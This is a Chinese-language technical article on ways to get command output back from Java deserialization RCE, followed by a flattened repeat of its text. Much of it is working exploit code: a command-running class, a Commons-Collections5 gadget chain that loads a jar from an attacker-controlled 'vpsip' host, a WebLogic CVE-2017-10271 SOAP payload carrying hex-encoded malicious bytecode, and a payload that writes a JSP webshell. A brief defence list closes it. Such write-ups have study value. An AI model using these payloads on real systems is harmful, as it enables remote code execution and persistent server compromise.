java反序列化RCE回显研究
字数 1440 2025-08-26 22:11:51

Java反序列化RCE回显技术研究

一、概述

Java反序列化漏洞利用后,如何获取命令执行结果是一个关键问题。本文详细总结了四种常见的回显技术实现方式,包括远程加载恶意类、defineClass加载字节码、RMI远程调用以及文件写入方式。

二、URLClassLoader加载远程恶意类回显

1. 基本原理

利用java.net.URLClassLoader远程加载自定义类(放在服务器上的jar包),通过抛出异常的方式获取命令执行结果。

2. 实现步骤

2.1 创建恶意类

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.Socket;

public class R {
    public R(String commond) throws Exception {
        reverseConn(commond);
    }
    
    public void reverseConn(String commond) throws Exception {
        // 执行命令
        Process proc = Runtime.getRuntime().exec(commond);
        BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
        StringBuffer sb = new StringBuffer();
        String line;
        while ((line = br.readLine()) != null) {
            sb.append(line).append("\n");
        }
        String result = sb.toString();
        Exception e = new Exception(result);
        throw e;
    }
}

2.2 编译打包恶意类

javac R.java  # 先编译成class文件
jar -cvf R.jar R.class  # 打成jar包

2.3 触发反序列化

使用Commons-Collections5 gadgets触发反序列化报错回显:

package test;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;

public class Test {
    public InvocationHandler getObject(final String command) throws Exception {
        // 构造Transformer链
        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
        
        // 实际的Transformer链
        final Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(java.net.URLClassLoader.class),
            new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{java.net.URL[].class}}),
            new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new java.net.URL[]{new java.net.URL("http://vpsip/R.jar")}}}),
            new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{"R"}),
            new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}),
            new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new String[]{command}}),
            new ConstantTransformer(1)
        };
        
        final Map innerMap = new HashMap();
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        
        // 生成AnnotationInvocationHandler
        InvocationHandler invo = (InvocationHandler)getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler")
            .newInstance(Retention.class, lazyMap);
        
        // 生成代理对象
        final Map mapProxy = Map.class.cast(Proxy.newProxyInstance(this.getClass().getClassLoader(), new Class[]{Map.class}, invo));
        final InvocationHandler handler = (InvocationHandler)getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler")
            .newInstance(Retention.class, mapProxy);
        
        setFieldValue(transformerChain, "iTransformers", transformers);
        return handler;
    }
    
    // 辅助方法省略...
}

3. 适用场景

  • 服务器可以连接外网
  • 目标应用会将异常信息返回给客户端

4. 变种方案

如果服务器不能连接外网,可以通过FileOutputStream写恶意类的class字节码文件到服务器上,再通过URLClassLoader加载本地的恶意类。

三、defineClass加载字节码回显

1. 基本原理

利用defineClass加载byte[]返回Class对象,结合容器内部response实现回显。

2. WebLogic CVE-2017-10271回显实现

2.1 POC结构

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java>
        <void class="weblogic.utils.Hex" method="fromHexString" id="cls">
          <string>0xcafebabe0000003200670a001700350800360a003700380a0039003a08003b0a0039003c07003d0a0007003508003e0a0039003f0a003900400b004100420800430800440800450800460700470a001100480a001100490a0011004a0a004b004c07004d07004e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301001e4c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578703b010003736179010029284c6a6176612f6c616e672f537472696e673b294c6a6176612f696f2f496e70757453747265616d3b010003636d640100124c6a6176612f6c616e672f537472696e673b01000769734c696e75780100015a0100056f73547970010004636d64730100104c6a6176612f7574696c2f4c6973743b01000e70726f636573734275696c64657201001a4c6a6176612f6c616e672f50726f636573734275696c6465723b01000470726f630100134c6a6176612f6c616e672f50726f636573733b0100164c6f63616c5661726961626c65547970655461626c650100244c6a6176612f7574696c2f4c6973743c4c6a6176612f6c616e672f537472696e673b3e3b01000d537461636b4d61705461626c6507004f07005001000a457863657074696f6e7307005101000a536f7572636546696c6501000b586d6c4578702e6a6176610c001800190100076f732e6e616d650700520c0053005407004f0c0055005601000377696e0c005700580100136a6176612f7574696c2f41727261794c697374010004244e4f240c0059005a0c005b005c0700500c005d005e0100092f62696e2f626173680100022d63010007636d642e6578650100022f630100186a6176612f6c616e672f50726f636573734275696c6465720c0018005f0c006000610c006200630700640c0065006601001c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578700100106a6176612f6c616e672f4f626a6563740100106a6176612f6c616e672f537472696e6701000e6a6176612f7574696c2f4c6973740100136a6176612f6c616e672f457863657074696f6e0100106a6176612f6c616e672f53797374656d01000b67657450726f7065727479010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b01000b746f4c6f7765724361736501001428294c6a6176612f6c616e672f537472696e673b010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a01000a73746172747357697468010015284c6a6176612f6c616e672f537472696e673b295a010009737562737472696e670100152849294c6a6176612f6c616e672f537472696e673b010003616464010015284c6a6176612f6c616e672f4f626a6563743b295a010013284c6a6176612f7574696c2f4c6973743b295601001372656469726563744572726f7253747265616d01001d285a294c6a6176612f6c616e672f50726f636573734275696c6465723b010005737461727401001528294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0021001600170000000000020001001800190001001a0000002f00010001000000052ab70001b100000002001b00000006000100000007001c0000000c000100000005001d001e00000001001f00200002001a0000016f000300070000009c043d1202b800034e2dc600112db600041205b6000699000503</string>
        </void>
        <void class="org.mozilla.classfile.DefiningClassLoader">
          <void method="defineClass">
            <string>com.supeream.exploits.XmlExp</string>
            <object idref="cls"></object>
            <void method="newInstance">
              <void method="say" id="proc">
                <string>dir</string>
              </void>
            </void>
          </void>
        </void>
        <void class="java.lang.Thread" method="currentThread">
          <void method="getCurrentWork">
            <void method="getResponse">
              <void method="getServletOutputStream">
                <void method="writeStream">
                  <object idref="proc"></object>
                </void>
                <void method="flush"/>
              </void>
              <void method="getWriter"><void method="write"><string></string></void></void>
            </void>
          </void>
        </void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

2.2 恶意类还原

恶意类XmlExp的Hex编码还原后:

package com.supeream.exploits;

import java.io.InputStream;
import java.util.ArrayList;
import java.util.List;

public class XmlExp {
    public XmlExp() {
    }

    public InputStream say(String cmd) throws Exception {
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }

        List<String> cmds = new ArrayList();
        if (cmd.startsWith("$NO$")) {
            cmds.add(cmd.substring(4));
        } else if (isLinux) {
            cmds.add("/bin/bash");
            cmds.add("-c");
            cmds.add(cmd);
        } else {
            cmds.add("cmd.exe");
            cmds.add("/c");
            cmds.add(cmd);
        }

        ProcessBuilder processBuilder = new ProcessBuilder(cmds);
        processBuilder.redirectErrorStream(true);
        Process proc = processBuilder.start();
        return proc.getInputStream();
    }
}

2.3 实现原理

  1. 传入恶意类hex编码,通过weblogic.utils.Hex.fromHexString转换为byte[]
  2. 使用org.mozilla.classfile.DefiningClassLoaderdefineClass方法加载恶意类
  3. 通过newInstance方法实例化恶意类并调用say方法执行命令
  4. 将结果交给WebLogic内部回显类进行回显

3. 技术要点

  • 利用WebLogic内部类实现回显,而非传统的报错回显
  • 需要了解目标容器的内部实现机制

四、RMI远程调用回显

1. 基本原理

通过RMI远程调用扩展实现回显,利用RMI协议将执行结果返回到攻击者控制的服务器。

2. 实现要点

  1. 搭建RMI服务器
  2. 构造恶意序列化数据,触发反序列化后连接RMI服务器
  3. 将命令执行结果通过RMI调用返回

五、文件写入方式回显

1. 基本原理

将命令执行结果写入服务器可访问的文件中,然后通过HTTP请求获取文件内容。

2. WebLogic CVE-2017-10271实现

利用漏洞直接向服务器写入webshell:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java>
        <void class="java.io.PrintWriter">
          <string>/path/to/shell.jsp</string>
          <void method="println">
            <string><% Runtime.getRuntime().exec(request.getParameter("cmd")); %></string>
          </void>
        </void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

3. 技术要点

  • 需要知道服务器可写目录
  • 需要能够访问写入的文件
  • 适用于无法直接回显但可以写入文件的场景

六、总结对比

回显方式 适用场景 优点 缺点
URLClassLoader+异常 可出网,显示异常 实现简单 依赖异常显示
defineClass+容器回显 特定容器 不依赖异常 需要了解容器实现
RMI回显 可出网 稳定可靠 需要搭建RMI服务
文件写入 无回显 适用于严格环境 需要文件写入权限

七、防御建议

  1. 及时更新Java组件,修复已知反序列化漏洞
  2. 限制不必要的Java反序列化操作
  3. 使用安全管理器限制敏感操作
  4. 监控异常的反序列化行为
  5. 对输入数据进行严格校验和过滤
Java反序列化RCE回显技术研究 一、概述 Java反序列化漏洞利用后,如何获取命令执行结果是一个关键问题。本文详细总结了四种常见的回显技术实现方式,包括远程加载恶意类、defineClass加载字节码、RMI远程调用以及文件写入方式。 二、URLClassLoader加载远程恶意类回显 1. 基本原理 利用 java.net.URLClassLoader 远程加载自定义类(放在服务器上的jar包),通过抛出异常的方式获取命令执行结果。 2. 实现步骤 2.1 创建恶意类 2.2 编译打包恶意类 2.3 触发反序列化 使用Commons-Collections5 gadgets触发反序列化报错回显: 3. 适用场景 服务器可以连接外网 目标应用会将异常信息返回给客户端 4. 变种方案 如果服务器不能连接外网,可以通过 FileOutputStream 写恶意类的class字节码文件到服务器上,再通过 URLClassLoader 加载本地的恶意类。 三、defineClass加载字节码回显 1. 基本原理 利用 defineClass 加载byte[ ]返回Class对象,结合容器内部response实现回显。 2. WebLogic CVE-2017-10271回显实现 2.1 POC结构 2.2 恶意类还原 恶意类 XmlExp 的Hex编码还原后: 2.3 实现原理 传入恶意类hex编码,通过 weblogic.utils.Hex.fromHexString 转换为byte[ ] 使用 org.mozilla.classfile.DefiningClassLoader 的 defineClass 方法加载恶意类 通过 newInstance 方法实例化恶意类并调用 say 方法执行命令 将结果交给WebLogic内部回显类进行回显 3. 技术要点 利用WebLogic内部类实现回显,而非传统的报错回显 需要了解目标容器的内部实现机制 四、RMI远程调用回显 1. 基本原理 通过RMI远程调用扩展实现回显,利用RMI协议将执行结果返回到攻击者控制的服务器。 2. 实现要点 搭建RMI服务器 构造恶意序列化数据,触发反序列化后连接RMI服务器 将命令执行结果通过RMI调用返回 五、文件写入方式回显 1. 基本原理 将命令执行结果写入服务器可访问的文件中,然后通过HTTP请求获取文件内容。 2. WebLogic CVE-2017-10271实现 利用漏洞直接向服务器写入webshell: 3. 技术要点 需要知道服务器可写目录 需要能够访问写入的文件 适用于无法直接回显但可以写入文件的场景 六、总结对比 | 回显方式 | 适用场景 | 优点 | 缺点 | |---------|---------|------|------| | URLClassLoader+异常 | 可出网,显示异常 | 实现简单 | 依赖异常显示 | | defineClass+容器回显 | 特定容器 | 不依赖异常 | 需要了解容器实现 | | RMI回显 | 可出网 | 稳定可靠 | 需要搭建RMI服务 | | 文件写入 | 无回显 | 适用于严格环境 | 需要文件写入权限 | 七、防御建议 及时更新Java组件,修复已知反序列化漏洞 限制不必要的Java反序列化操作 使用安全管理器限制敏感操作 监控异常的反序列化行为 对输入数据进行严格校验和过滤